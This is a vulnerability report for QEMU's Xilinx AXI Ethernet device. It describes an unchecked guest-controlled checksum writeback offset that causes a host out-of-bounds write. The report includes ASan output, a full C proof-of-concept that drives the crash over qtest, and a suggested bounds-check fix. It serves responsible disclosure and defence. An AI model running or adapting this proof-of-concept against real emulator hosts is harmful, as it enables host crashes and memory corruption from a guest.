I can trigger a host-side AddressSanitizer crash in current QEMU master through the Xilinx AXI Ethernet device on the `petalogix-ml605` machine. The issue is in the TX checksum offload path of `xlnx.axi-ethernet`. The checksum writeback offset is taken from the AXI stream control header, which is supplied by the guest through the connected AXI DMA descriptor APP fields. The offset is not validated against the transmitted packet length before QEMU writes the computed checksum back into the packet buffer. The vulnerable pattern is in `xilinx_axienet_data_stream_push()`: ```c if (s->hdr[0] & 1) { unsigned int start_off = s->hdr[1] >> 16; unsigned int write_off = s->hdr[1] & 0xffff; uint32_t tmp_csum; uint16_t csum; tmp_csum = net_checksum_add(s->txpos - start_off, buf + start_off); tmp_csum += s->hdr[2] & 0xffff; csum = net_checksum_finish(tmp_csum); buf[write_off] = csum >> 8; buf[write_off + 1] = csum & 0xff; } ``` `write_off` is guest controlled, and there is no check that `write_off + 1` is within `s->txpos`. ## Environment I reproduced this on current master in the following environment: - host: x86_64 Linux - QEMU commit: `b83371668192a705b878e909c5ae9c1233cbd5fb` - build: `../configure --enable-asan --enable-ubsan --target-list=microblaze-softmmu` - machine: `petalogix-ml605` - devices involved: `xlnx.axi-dma` connected to `xlnx.axi-ethernet` The board wires the devices together so that AXI DMA memory-to-stream descriptors can push both the Ethernet TX control stream and the Ethernet TX data stream. ## Steps to reproduce Build an ASan QEMU for MicroBlaze: ```text mkdir build-asan-microblaze cd build-asan-microblaze ../configure --target-list=microblaze-softmmu --enable-asan --enable-ubsan --disable-werror ninja -j$(nproc) qemu-system-microblaze cd .. ``` Build and run the PoC: ```text gcc -O2 -Wall -Wextra -o qemu-xilinx-axienet-csum-oob-poc qemu-xilinx-axienet-csum-oob-poc.c ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 ./qemu-xilinx-axienet-csum-oob-poc ./build-asan-microblaze/qemu-system-microblaze ``` ## Security boundary note: The reproducer uses qtest only to perform deterministic MMIO/DMA-style device interactions. The vulnerable path is in the Xilinx AXI Ethernet device emulation that is exposed to a guest when this emulated network device is configured. This device/board configuration may not fall within QEMU's supported virtualization security boundary in all deployments, so the report should be triaged according to QEMU's virtualization vs. non-virtualization use-case policy. The qtest script should be treated as a compact way to reproduce guest-accessible device operations, not as a qtest-only issue. ASan output With an ASan build this aborts the host process with: ```text triggering AXI DMA tail descriptor; an ASAN build should abort in xilinx_axienet_data_stream_push()... ==3337268==ERROR: AddressSanitizer: SEGV on unknown address 0x62d0000569ff ==3337268==The signal is caused by a WRITE memory access. #0 xilinx_axienet_data_stream_push ../../hw/net/xilinx_axienet.c:934 #1 stream_process_mem2s ../../hw/dma/xilinx_axidma.c:327 #2 axidma_write ../../hw/dma/xilinx_axidma.c:538 #3 memory_region_write_accessor ../../system/memory.c:492 #4 access_with_adjusted_size ../../system/memory.c:563 #5 memory_region_dispatch_write ../../system/memory.c:1557 #6 flatview_write_continue_step ../../system/physmem.c:3263 #7 flatview_write_continue ../../system/physmem.c:3293 #8 flatview_write ../../system/physmem.c:3324 #9 address_space_write ../../system/physmem.c:3444 #10 qtest_process_command ../../system/qtest.c:540 SUMMARY: AddressSanitizer: SEGV ../../hw/net/xilinx_axienet.c:934 in xilinx_axienet_data_stream_push QEMU terminated by signal 6 ``` ## PoC The PoC maps no guest kernel. It uses qtest to program RAM and AXI DMA MMIO directly on the `petalogix-ml605` machine. The descriptor sets `hdr[0] = 1` to enable checksum writeback and sets `write_off = 0xffff`, then triggers DMA by writing the AXI DMA tail descriptor register. ```c #define _GNU_SOURCE #include <errno.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/un.h> #include <sys/wait.h> #include <unistd.h> #define MEM_BASE 0x50000000ULL #define DESC_ADDR (MEM_BASE + 0x1000) #define PKT_ADDR (MEM_BASE + 0x2000) #define AXIDMA_BASE 0x84600000ULL #define R_DMACR 0x00 #define R_CURDESC 0x08 #define R_TAILDESC 0x10 #define SDESC_CTRL_EOF (1U << 26) #define SDESC_CTRL_SOF (1U << 27) static void die(const char *msg) { perror(msg); exit(1); } static void xwrite_all(int fd, const char *buf, size_t len) { while (len) { ssize_t n = write(fd, buf, len); if (n < 0) { if (errno == EINTR) { continue; } die("write"); } buf += n; len -= n; } } static bool qtest_read_ok(int fd, const char *cmd) { char reply[512]; size_t off = 0; while (off + 1 < sizeof(reply)) { ssize_t n = read(fd, &reply[off], 1); if (n < 0) { if (errno == EINTR) { continue; } die("read"); } if (n == 0) { fprintf(stderr, "qtest socket closed after command: %s\n", cmd); return false; } if (reply[off] == '\n') { reply[off] = '\0'; break; } off++; } if (strncmp(reply, "OK", 2) != 0) { fprintf(stderr, "unexpected qtest reply for %s: %s\n", cmd, reply); exit(1); } return true; } static void qtest_cmd(int fd, const char *fmt, ...) { char cmd[4096]; va_list ap; va_start(ap, fmt); vsnprintf(cmd, sizeof(cmd), fmt, ap); va_end(ap); xwrite_all(fd, cmd, strlen(cmd)); xwrite_all(fd, "\n", 1); qtest_read_ok(fd, cmd); } static void qtest_send_no_wait(int fd, const char *fmt, ...) { char cmd[4096]; va_list ap; va_start(ap, fmt); vsnprintf(cmd, sizeof(cmd), fmt, ap); va_end(ap); xwrite_all(fd, cmd, strlen(cmd)); xwrite_all(fd, "\n", 1); } static void put_le32(uint8_t *p, uint32_t v) { p[0] = v; p[1] = v >> 8; p[2] = v >> 16; p[3] = v >> 24; } static void put_le64(uint8_t *p, uint64_t v) { for (int i = 0; i < 8; i++) { p[i] = v >> (8 * i); } } static void bytes_to_hex(const uint8_t *buf, size_t len, char *hex) { static const char nyb[] = "0123456789abcdef"; for (size_t i = 0; i < len; i++) { hex[i * 2] = nyb[buf[i] >> 4]; hex[i * 2 + 1] = nyb[buf[i] & 0xf]; } hex[len * 2] = '\0'; } static void make_desc(uint8_t desc[56]) { uint32_t control = SDESC_CTRL_SOF | SDESC_CTRL_EOF | 64; uint32_t start_off = 0; uint32_t write_off = 0xffff; uint32_t app[5] = { 1, /* enable TX checksum writeback */ (start_off << 16) | write_off, /* start_off:write_off */ 0, 0, 0, }; memset(desc, 0, 56); put_le64(desc + 0, DESC_ADDR); /* nxtdesc */ put_le64(desc + 8, PKT_ADDR); /* buffer_address */ put_le64(desc + 16, 0); /* reserved */ put_le32(desc + 24, control); put_le32(desc + 28, 0); /* status */ for (int i = 0; i < 5; i++) { put_le32(desc + 32 + i * 4, app[i]); } } static void make_packet(uint8_t pkt[64]) { static const uint8_t hdr[14] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, }; memcpy(pkt, hdr, sizeof(hdr)); for (int i = 0; i < 64 - 14; i++) { pkt[14 + i] = i; } } static pid_t spawn_qemu(const char *qemu, const char *sock_path) { pid_t pid = fork(); if (pid < 0) { die("fork"); } if (pid == 0) { char qtest_arg[512]; snprintf(qtest_arg, sizeof(qtest_arg), "unix:%s", sock_path); char *argv[] = { (char *)qemu, "-M", "petalogix-ml605", "-display", "none", "-serial", "none", "-monitor", "none", "-S", "-qtest", qtest_arg, NULL, }; execvp(qemu, argv); perror("execvp"); _exit(1); } return pid; } int main(int argc, char **argv) { const char *qemu = argc > 1 ? argv[1] : "qemu-system-microblaze"; char tmpdir[] = "/tmp/axienet-oob-XXXXXX"; char sock_path[256]; struct sockaddr_un addr; int server_fd, conn_fd; pid_t pid; int status; uint8_t desc[56]; uint8_t pkt[64]; char desc_hex[sizeof(desc) * 2 + 1]; char pkt_hex[sizeof(pkt) * 2 + 1]; make_desc(desc); make_packet(pkt); bytes_to_hex(desc, sizeof(desc), desc_hex); bytes_to_hex(pkt, sizeof(pkt), pkt_hex); if (!mkdtemp(tmpdir)) { die("mkdtemp"); } snprintf(sock_path, sizeof(sock_path), "%s/qtest.sock", tmpdir); server_fd = socket(AF_UNIX, SOCK_STREAM, 0); if (server_fd < 0) { die("socket"); } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; if (strlen(sock_path) >= sizeof(addr.sun_path)) { fprintf(stderr, "socket path too long\n"); return 1; } memcpy(addr.sun_path, sock_path, strlen(sock_path) + 1); unlink(sock_path); if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { die("bind"); } if (listen(server_fd, 1) < 0) { die("listen"); } pid = spawn_qemu(qemu, sock_path); conn_fd = accept(server_fd, NULL, NULL); if (conn_fd < 0) { die("accept"); } qtest_cmd(conn_fd, "write 0x%llx 0x%zx 0x%s", (unsigned long long)DESC_ADDR, sizeof(desc), desc_hex); qtest_cmd(conn_fd, "write 0x%llx 0x%zx 0x%s", (unsigned long long)PKT_ADDR, sizeof(pkt), pkt_hex); qtest_cmd(conn_fd, "writel 0x%llx 0x%llx", (unsigned long long)(AXIDMA_BASE + R_CURDESC), (unsigned long long)DESC_ADDR); qtest_cmd(conn_fd, "writel 0x%llx 0x1", (unsigned long long)(AXIDMA_BASE + R_DMACR)); fprintf(stderr, "triggering AXI DMA tail descriptor; an ASAN build should abort in xilinx_axienet_data_stream_push()...\n"); qtest_send_no_wait(conn_fd, "writel 0x%llx 0x%llx", (unsigned long long)(AXIDMA_BASE + R_TAILDESC), (unsigned long long)DESC_ADDR); sleep(1); if (waitpid(pid, &status, WNOHANG) == 0) { fprintf(stderr, "QEMU is still alive; the build may be patched or non-ASAN.\n"); kill(pid, SIGTERM); waitpid(pid, &status, 0); return 0; } if (WIFSIGNALED(status)) { fprintf(stderr, "QEMU terminated by signal %d\n", WTERMSIG(status)); } else if (WIFEXITED(status)) { fprintf(stderr, "QEMU exited with status %d\n", WEXITSTATUS(status)); } close(conn_fd); close(server_fd); unlink(sock_path); rmdir(tmpdir); return 0; } ``` ## Suggested fix The TX checksum offload path should reject checksum ranges and writeback offsets outside the transmitted packet. For example: ```c if (start_off > s->txpos || write_off > s->txpos || s->txpos - write_off < 2) { qemu_log_mask(LOG_GUEST_ERROR, "%s: checksum offsets outside packet ", TYPE_XILINX_AXI_ENET); goto tx_done; } ``` The important properties are: - `start_off` must not exceed `s->txpos`, otherwise the checksum read range is invalid. - `write_off` and `write_off + 1` must be within the transmitted packet buffer. - The check should be applied before both `net_checksum_add(..., buf + start_off)` and the two-byte checksum writeback.